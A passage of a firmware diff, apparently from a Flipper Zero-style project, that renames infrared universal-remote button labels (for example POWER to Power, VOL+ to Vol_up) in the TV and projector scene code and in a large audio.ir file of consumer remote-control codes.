a/applications/main/infrared/scenes/infrared_scene_universal_projector.c b/applications/main/infrared/scenes/infrared_scene_universal_projector.c index 11a0077f5..32d84dde6 100644 --- a/applications/main/infrared/scenes/infrared_scene_universal_projector.c +++ b/applications/main/infrared/scenes/infrared_scene_universal_projector.c @@ -24,7 +24,7 @@ void infrared_scene_universal_projector_on_enter(void* context) { &I_Power_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "POWER"); + infrared_brute_force_add_record(brute_force, i++, "Power"); button_panel_add_item( button_panel, i, @@ -36,7 +36,7 @@ void infrared_scene_universal_projector_on_enter(void* context) { &I_Mute_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "MUTE"); + infrared_brute_force_add_record(brute_force, i++, "Mute"); button_panel_add_item( button_panel, i, @@ -48,7 +48,7 @@ void infrared_scene_universal_projector_on_enter(void* context) { &I_Vol_up_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL+"); + infrared_brute_force_add_record(brute_force, i++, "Vol_up"); button_panel_add_item( button_panel, i, @@ -60,7 +60,7 @@ void infrared_scene_universal_projector_on_enter(void* context) { &I_Vol_down_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL-"); + infrared_brute_force_add_record(brute_force, i++, "Vol_dn"); button_panel_add_label(button_panel, 10, 11, FontPrimary, "Projector"); button_panel_add_label(button_panel, 17, 60, FontSecondary, "Volume"); diff --git a/applications/main/infrared/scenes/infrared_scene_universal_tv.c b/applications/main/infrared/scenes/infrared_scene_universal_tv.c index 583f21fa3..e21bf8f90 100644 --- a/applications/main/infrared/scenes/infrared_scene_universal_tv.c +++ b/applications/main/infrared/scenes/infrared_scene_universal_tv.c @@ -24,7 +24,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Power_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "POWER"); + infrared_brute_force_add_record(brute_force, i++, "Power"); button_panel_add_item( button_panel, i, @@ -36,7 +36,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Mute_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "MUTE"); + infrared_brute_force_add_record(brute_force, i++, "Mute"); button_panel_add_item( button_panel, i, @@ -48,7 +48,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Vol_up_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL+"); + infrared_brute_force_add_record(brute_force, i++, "Vol_up"); button_panel_add_item( button_panel, i, @@ -60,7 +60,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Up_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "CH+"); + infrared_brute_force_add_record(brute_force, i++, "Ch_next"); button_panel_add_item( button_panel, i, @@ -72,7 +72,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Vol_down_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "VOL-"); + infrared_brute_force_add_record(brute_force, i++, "Vol_dn"); button_panel_add_item( button_panel, i, @@ -84,7 +84,7 @@ void infrared_scene_universal_tv_on_enter(void* context) { &I_Down_hvr_25x27, infrared_scene_universal_common_item_callback, context); - infrared_brute_force_add_record(brute_force, i++, "CH-"); + infrared_brute_force_add_record(brute_force, i++, "Ch_prev"); button_panel_add_label(button_panel, 6, 11, FontPrimary, "TV remote"); button_panel_add_label(button_panel, 9, 64, FontSecondary, "Vol"); diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 14c18c04c..cfb89f911 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -3,2175 +3,2175 @@ Version: 1 # Last Updated 14th Apr, 2023 # Last Checked 17th May, 2023 # -name: POWER +name: Power type: parsed protocol: NEC address: 77 00 00 00 command: F1 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 77 00 00 00 command: F3 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 77 00 00 00 command: FB 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 77 00 00 00 command: FC 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 1A 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 10 E7 00 00 command: 46 B9 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 10 E7 00 00 command: 06 F9 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 10 E7 00 00 command: 47 B8 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 10 E7 00 00 command: 41 BE 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 10 00 00 00 command: 0C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5 address: 10 00 00 00 command: 0D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 10 00 00 00 command: 10 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 10 00 00 00 command: 11 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 40 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 41 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 45 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 48 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 2D D3 00 00 command: 12 ED 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 2D D3 00 00 command: 11 EE 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 2D D3 00 00 command: 10 EF 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 2D D3 00 00 command: 13 EC 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC15 address: 44 00 00 00 command: 15 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC15 address: 44 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC15 address: 44 00 00 00 command: 13 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: SIRC15 address: 44 00 00 00 command: 14 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 02 A0 00 00 command: 80 7F 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 02 A0 00 00 command: AA 55 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 02 A0 00 00 command: 6A 95 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 02 A0 00 00 command: EA 15 00 00 # Standby -name: POWER +name: Power type: parsed protocol: NEC address: 04 00 00 00 command: 16 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 04 00 00 00 command: 13 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 04 00 00 00 command: 0B 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 04 00 00 00 command: 06 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 29 A1 00 00 command: 7F 80 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 29 A1 00 00 command: 9B 64 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 29 A1 00 00 command: 9E 61 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 29 A1 00 00 command: 9F 60 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 7A 00 00 00 command: 1F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 1C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 0B 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 0F 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 05 00 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4617 4406 584 448 557 448 557 449 556 449 555 1430 580 1432 577 452 552 454 550 1460 549 1462 548 1462 549 1462 548 457 548 457 548 457 548 457 548 4463 548 457 548 457 548 457 548 458 548 1462 548 1462 548 1462 548 457 548 1463 547 1462 548 1462 548 458 547 458 548 458 548 458 547 1463 547 458 547 458 547 458 548 1463 547 55451 4606 4440 549 457 548 457 548 457 548 457 548 1462 548 1462 548 457 548 457 548 1462 548 1461 549 1462 548 1462 548 457 548 457 548 457 548 457 548 4462 548 457 548 457 548 457 548 457 548 1462 548 1462 548 1462 548 457 548 1462 548 1462 548 1462 547 457 548 458 547 458 547 458 547 1462 548 458 547 458 547 458 547 1462 548 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4614 4408 583 449 555 450 555 451 553 451 554 1432 577 1434 576 453 551 454 550 1460 549 1461 549 1461 549 1461 549 457 548 457 548 457 548 457 548 4461 548 457 548 457 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 549 1461 549 1461 548 457 548 1462 549 1461 549 1461 548 457 548 457 548 457 548 458 547 1462 548 55443 4606 4440 549 456 549 456 549 456 549 456 549 1461 549 1461 549 457 548 457 548 1461 549 1461 549 1461 549 1461 549 456 549 457 548 457 548 457 548 4461 549 456 549 457 548 457 548 457 548 457 548 457 548 457 548 1462 548 1461 549 1461 549 1461 548 457 548 1461 549 1461 549 1461 549 457 548 457 548 458 547 457 548 1462 548 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4588 4435 556 477 556 449 555 450 555 451 554 1428 582 1429 581 451 553 452 552 1457 552 1458 551 1461 548 1463 547 458 547 458 547 458 547 458 547 4464 547 458 547 458 547 458 547 458 548 458 547 458 547 458 548 458 547 1463 547 1463 547 1464 546 459 547 1464 546 1464 546 1463 547 1464 546 459 546 459 546 459 546 1464 547 55456 4581 4468 546 458 547 458 547 458 547 458 547 1463 547 1463 547 458 547 459 547 1463 547 1464 546 1464 546 1464 547 459 546 459 546 459 546 459 547 4465 546 459 546 459 546 459 546 459 546 459 547 459 546 459 546 459 546 1464 546 1464 546 1465 546 460 545 1465 545 1465 545 1465 546 1465 546 460 545 460 546 460 545 1466 544 # -name: POWER +name: Power type: parsed protocol: NECext address: 3F 5C 00 00 command: 18 E7 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 3F 5C 00 00 command: 55 AA 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 3F 5C 00 00 command: 59 A6 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 3F 5C 00 00 command: 15 EA 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 FB 00 00 command: 1E E1 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 FB 00 00 command: 1D E2 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 FB 00 00 command: 18 E7 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 FB 00 00 command: 0A F5 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 80 D9 00 00 command: 8A 75 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 80 D9 00 00 command: 88 77 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 80 D9 00 00 command: 8C 73 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 78 0E 00 00 command: 00 FF 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 78 0E 00 00 command: 19 E6 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 78 0E 00 00 command: 1C E3 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 78 0E 00 00 command: 18 E7 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 14 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 10 00 00 00 # # ON -name: POWER +name: Power type: parsed protocol: RC5 address: 10 00 00 00 command: 0E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 10 E7 00 00 command: 0C F3 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 10 E7 00 00 command: 09 F6 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 3309 1906 410 1178 411 1177 412 416 435 445 406 448 414 440 411 1150 439 415 436 1178 411 1177 412 442 409 444 407 1181 408 419 432 1182 407 420 442 1146 433 448 414 440 411 442 409 444 407 446 416 438 413 441 410 443 408 419 432 1182 407 446 405 422 440 414 437 416 435 445 406 1181 408 446 405 448 414 440 411 442 409 418 433 446 416 438 413 1175 414 413 438 1176 413 414 437 443 408 419 432 421 441 413 438 42493 3308 3343 355 43011 3309 3316 382 43009 3310 3314 384 43007 3303 3347 361 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 3307 1879 437 1177 412 1176 413 415 436 417 434 446 405 448 414 1174 415 412 439 1149 440 1147 442 438 413 440 411 1177 412 441 410 1178 411 442 409 1179 410 417 434 419 432 448 414 440 411 442 409 444 407 446 416 438 413 441 410 1151 438 415 436 444 407 446 416 412 439 414 437 1177 412 1176 413 414 437 416 435 1152 437 1177 412 416 435 444 407 446 416 1146 433 421 441 1173 406 422 440 413 438 442 409 444 407 40133 3308 3341 357 42862 3301 3347 361 42859 3304 3319 379 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 3310 1876 440 1174 415 1173 405 422 440 414 437 443 408 445 406 1182 407 420 442 1173 406 1182 407 420 442 412 439 1175 414 440 411 1150 439 415 436 1152 437 416 435 419 432 447 415 440 411 442 409 418 433 420 442 438 413 440 411 1177 412 415 436 418 433 420 442 438 413 441 410 1151 438 1150 439 415 436 1178 411 1150 439 1149 440 414 437 417 434 445 406 1155 434 420 442 438 413 1175 414 413 438 442 409 444 407 39503 3303 3320 388 42857 3304 3319 379 42867 3305 3317 381 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 3305 1907 409 1178 411 1177 412 442 409 418 433 447 415 439 412 1176 413 441 410 1177 412 1176 413 441 410 443 408 1180 409 445 406 1181 408 446 416 1172 406 448 413 440 411 442 409 445 406 447 414 439 412 442 409 444 407 447 414 1173 405 449 413 441 410 443 408 446 405 448 413 1174 415 440 411 442 409 1178 411 1177 412 1177 412 442 409 444 407 447 415 439 412 441 410 444 407 1180 409 445 406 448 414 440 411 41125 3303 3347 360 42906 3308 3315 382 # -name: MUTE +name: Mute type: parsed protocol: NECext address: BA A0 00 00 command: 01 FE 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: AC 02 20 00 command: D1 03 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Kaseikyo address: A0 02 20 00 command: 00 02 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Kaseikyo address: A0 02 20 00 command: 10 02 00 00 # -name: MUTE +name: Mute type: parsed protocol: Kaseikyo address: A0 02 20 00 command: 20 03 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 02 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 01 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 0B 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 01 00 00 00 command: 06 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9150 4435 643 1608 643 468 644 469 642 364 749 468 643 447 665 449 663 469 643 452 660 470 642 450 662 442 670 449 662 469 643 1579 672 1608 642 1580 671 1609 641 1607 643 1578 672 1607 643 1608 642 1606 644 1606 644 1606 644 1607 643 1576 675 1579 671 1605 674 438 645 466 673 438 646 466 674 437 673 439 672 439 673 438 646 1604 673 1577 673 1578 673 1577 674 1577 673 23799 9095 4485 616 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC42 address: 01 00 00 00 command: 0C 00 00 00 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9151 4434 644 1608 643 376 737 379 733 446 666 449 663 468 644 469 643 468 644 468 644 468 644 447 665 448 664 468 644 450 662 1608 643 1607 644 1576 676 1607 644 1608 643 1578 674 1608 643 1577 674 1579 672 1607 643 1608 643 1607 644 1607 644 1608 643 448 664 1608 643 448 664 468 644 469 643 380 732 468 644 469 643 1607 644 468 644 1608 643 1608 644 1609 643 1608 643 23837 9152 4434 642 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8968 4344 670 460 670 460 670 1566 669 462 668 486 643 487 642 489 641 1595 640 490 640 491 640 1596 640 491 640 1596 640 1596 640 1596 640 491 640 1596 640 1596 640 1596 640 1596 640 1596 640 1596 640 1596 640 1622 640 491 640 491 640 491 640 491 640 491 640 491 640 491 640 491 639 # -name: POWER +name: Power type: parsed protocol: SIRC address: 10 00 00 00 command: 2E 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 FD 00 00 command: 01 FE 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 00 FD 00 00 command: 03 FC 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 FD 00 00 command: 09 F6 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 FD 00 00 command: 07 F8 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1042 1461 540 1460 541 1460 541 1460 541 1459 542 1459 542 454 536 460 540 456 544 452 538 458 542 454 546 450 540 456 544 1457 544 1456 545 1448 542 50531 1041 1462 539 1462 539 1461 540 1461 540 1460 541 1460 541 455 545 451 539 457 543 480 510 459 541 481 519 451 539 457 543 1457 543 1457 544 1449 541 50515 1037 1467 544 1456 545 1456 545 1455 546 1455 535 1465 536 486 514 483 517 479 511 485 515 481 509 487 513 483 517 478 512 1462 539 1462 539 1454 536 50537 1035 1467 544 1457 544 1457 544 1456 545 1456 544 1456 545 477 513 483 517 479 511 486 514 481 519 477 513 484 516 479 511 1464 536 1463 538 1455 546 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1010 1491 509 1490 510 1488 512 487 513 487 513 1486 514 1485 515 484 516 1483 517 482 518 482 518 1481 509 1489 511 488 512 487 513 1486 514 484 516 50963 1011 1489 511 1488 512 1487 513 485 515 486 514 1485 515 1484 516 484 516 1483 517 482 518 482 518 1481 509 1489 511 489 511 489 511 1487 513 486 514 50986 1008 1492 518 1480 510 1488 512 487 513 487 513 1486 514 1484 516 484 516 1483 517 482 518 481 519 1480 510 1488 512 487 513 487 513 1486 514 484 516 50972 1012 1488 512 1486 514 1484 516 483 517 483 517 1482 518 1480 510 489 511 1487 513 486 514 486 514 1485 515 1483 517 483 517 483 517 1481 509 490 510 50976 1008 1491 509 1489 511 1487 513 485 515 485 515 1484 516 1481 509 491 509 1489 511 488 512 488 512 1487 513 1485 515 484 516 484 516 1483 517 481 509 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1011 1479 517 477 516 481 512 1480 516 1473 513 482 511 485 518 1473 513 482 511 1481 515 1474 512 482 511 485 518 1473 513 1477 509 486 517 1473 513 50728 1014 1475 511 484 509 487 516 1475 511 1479 517 477 516 480 513 1478 508 487 516 1475 511 1479 517 478 514 480 513 1479 517 1473 513 508 484 1479 517 50725 1016 1473 513 481 512 484 519 1473 513 1477 509 485 518 478 515 1476 510 485 518 1473 513 1477 509 486 517 478 515 1476 510 1480 516 479 514 1476 510 50735 1069 1421 513 481 512 484 509 1483 513 1477 509 486 517 479 514 1477 509 486 517 1474 512 1479 507 488 515 480 513 1479 507 1483 513 482 511 1479 517 50733 1011 1478 508 513 490 506 486 1478 508 1483 513 508 485 511 482 1482 514 508 485 1480 516 1473 513 508 485 511 482 1483 513 1477 509 512 491 1473 513 50735 1008 1480 516 479 514 508 485 1480 516 1474 512 509 484 486 517 1472 514 508 485 1480 516 1474 512 509 484 512 481 1482 514 1477 509 512 491 1472 514 50738 1006 1509 487 508 485 486 507 1509 487 1503 483 513 490 505 488 1502 484 512 491 1473 513 1503 483 512 491 505 488 1476 510 1507 489 506 487 1503 483 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 1010 1479 517 1474 512 509 484 512 491 505 488 507 486 510 483 512 491 505 488 508 485 1505 491 1474 512 1478 508 1483 513 1477 509 1482 514 1475 511 50713 1005 1483 513 1475 511 511 482 513 490 505 488 507 486 483 510 511 482 487 516 505 488 1501 485 1478 508 1483 513 1476 510 1479 507 1483 513 1474 512 50707 1012 1501 485 1479 506 513 490 505 488 507 486 509 484 511 482 487 516 505 488 508 485 1504 482 1482 514 1476 592 1396 590 1400 513 1476 510 1478 508 50715 1015 1473 513 1476 510 484 508 513 490 504 489 480 513 508 485 483 510 511 482 488 515 1473 513 1477 509 1480 516 1474 512 1477 591 1397 516 1472 514 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1041 1462 538 1462 538 485 515 481 519 478 512 484 516 1458 542 1458 542 1459 541 481 519 1481 519 1455 545 1482 518 1456 544 479 511 486 514 474 516 50532 1039 1464 536 1490 510 487 513 483 517 480 510 486 514 1460 540 1486 514 1460 540 483 517 1457 543 1484 516 1458 542 1458 542 481 519 477 513 476 513 50534 1036 1467 543 1457 543 480 509 460 540 483 517 479 511 1463 537 1463 537 1464 536 486 514 1487 513 1461 539 1461 539 1462 538 484 516 481 519 469 510 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1042 1461 539 457 543 1458 542 1458 542 1458 542 1458 542 454 536 461 539 457 543 1457 543 453 537 460 540 456 544 452 538 1463 537 1463 537 1456 544 50530 1065 1438 572 424 566 1434 566 1435 565 1435 565 1436 544 452 537 459 572 424 545 1456 544 451 539 458 542 454 536 460 540 1461 539 1461 539 1454 536 50538 1036 1467 543 452 537 1464 536 1464 536 1464 536 1465 545 450 540 456 544 452 537 1464 536 460 540 455 545 452 538 458 542 1459 541 1460 540 1452 538 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1044 1456 544 455 545 455 534 1464 536 1462 538 1460 540 1458 542 1456 544 1455 545 1453 537 1461 539 460 540 459 541 459 561 437 542 457 543 456 544 50915 1016 1483 517 482 518 482 518 1481 509 1489 511 1487 513 1486 514 1485 515 1483 517 1482 508 1490 510 489 511 488 512 487 513 487 513 486 514 485 515 50956 1047 1452 538 462 538 462 538 1461 539 1460 540 1458 542 1457 543 1456 544 1454 546 1453 547 1451 539 461 539 460 540 460 540 459 541 459 541 457 543 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1017 1484 516 1482 518 481 519 1480 510 1489 511 1487 513 1486 514 1485 515 1483 517 482 518 1480 510 490 510 489 511 489 511 488 512 488 512 486 514 50956 1015 1486 514 1484 516 484 516 1483 517 1482 518 1480 510 1489 511 1488 512 1486 514 486 514 1485 515 484 516 484 516 483 517 483 517 482 518 481 509 50960 1011 1488 512 1486 514 486 514 1485 515 1483 517 1482 518 1480 510 1488 512 1486 514 486 514 1484 516 483 517 483 517 482 518 481 519 481 508 489 511 50961 1040 1461 539 1459 541 459 541 1458 542 1456 544 1455 545 1454 546 1452 538 1460 540 460 540 1458 542 457 543 456 544 456 544 455 545 455 545 453 547 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1006 1485 511 1479 517 1473 513 509 484 511 482 514 489 506 487 508 485 511 482 513 490 505 488 1477 509 1481 515 1475 511 1480 516 1474 512 1477 509 50734 1007 1483 513 1477 509 1482 514 507 486 509 484 511 492 503 490 506 487 508 485 510 483 513 490 1474 512 1479 517 1473 513 1477 509 1481 515 1474 512 50729 1012 1477 509 1481 515 1474 512 509 484 512 491 504 489 506 487 508 485 511 482 513 490 506 487 1477 509 1481 515 1475 511 1479 517 1473 513 1476 510 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 1012 1503 483 514 489 1475 511 483 510 486 517 478 515 481 512 483 510 486 517 1473 513 508 485 1480 516 1475 511 1479 507 1483 513 1477 509 1480 588 50646 1012 1476 510 512 491 1473 513 508 485 485 508 488 515 480 513 482 511 512 481 1482 514 482 511 1480 516 1473 513 1478 508 1482 514 1476 510 1479 590 50651 1007 1507 489 507 485 1478 508 514 489 506 487 509 484 485 508 488 515 506 487 1503 483 513 490 1474 512 1478 508 1483 513 1477 509 1481 515 1473 513 50721 1009 1505 491 478 515 1475 511 510 483 486 517 478 515 507 486 483 510 512 491 1472 514 508 485 1505 491 1473 513 1477 509 1481 587 1403 510 1478 508 50733 1008 1506 490 479 514 1477 509 512 481 514 489 506 487 508 485 484 509 513 490 1473 513 509 483 1481 515 1474 512 1479 507 1482 514 1476 510 1478 590 50642 1006 1508 488 508 485 1478 508 487 516 479 514 481 512 510 483 486 517 504 489 1474 512 510 483 1482 514 1475 511 1479 507 1483 513 1477 509 1480 516 # -name: POWER +name: Power type: parsed protocol: NEC address: 20 00 00 00 command: 09 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 1F 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 0E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 1A 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 02 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 05 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 20 00 00 00 command: 0C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 08 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 12 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 1E 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 03 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 01 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 1F 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 09 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 10 E7 00 00 command: 01 FE 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 10 E7 00 00 command: 00 FF 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 10 E7 00 00 command: 2B D4 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 78 0E 00 00 command: 09 F6 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 78 0E 00 00 command: 01 FE 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 78 0E 00 00 command: 02 FD 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 06 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 02 00 00 00 command: 0A 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 02 00 00 00 command: 0D 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 02 00 00 00 command: 1C 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 02 00 00 00 command: 07 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 14 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 08 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 86 FF 00 00 command: 14 EB 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 86 FF 00 00 command: 13 EC 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 86 FF 00 00 command: 1B E4 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 86 FF 00 00 command: 2A D5 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 07 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 00 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 40 AF 00 00 command: 19 E6 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 02 BD 00 00 command: 26 D9 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 02 BD 00 00 command: 28 D7 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 02 BD 00 00 command: 53 AC 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 02 BD 00 00 command: AD 52 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 10 00 00 00 command: 2F 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC address: 10 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC address: 10 00 00 00 command: 13 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 85 23 00 00 command: 99 66 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 85 23 00 00 command: 97 68 00 00 # -name: 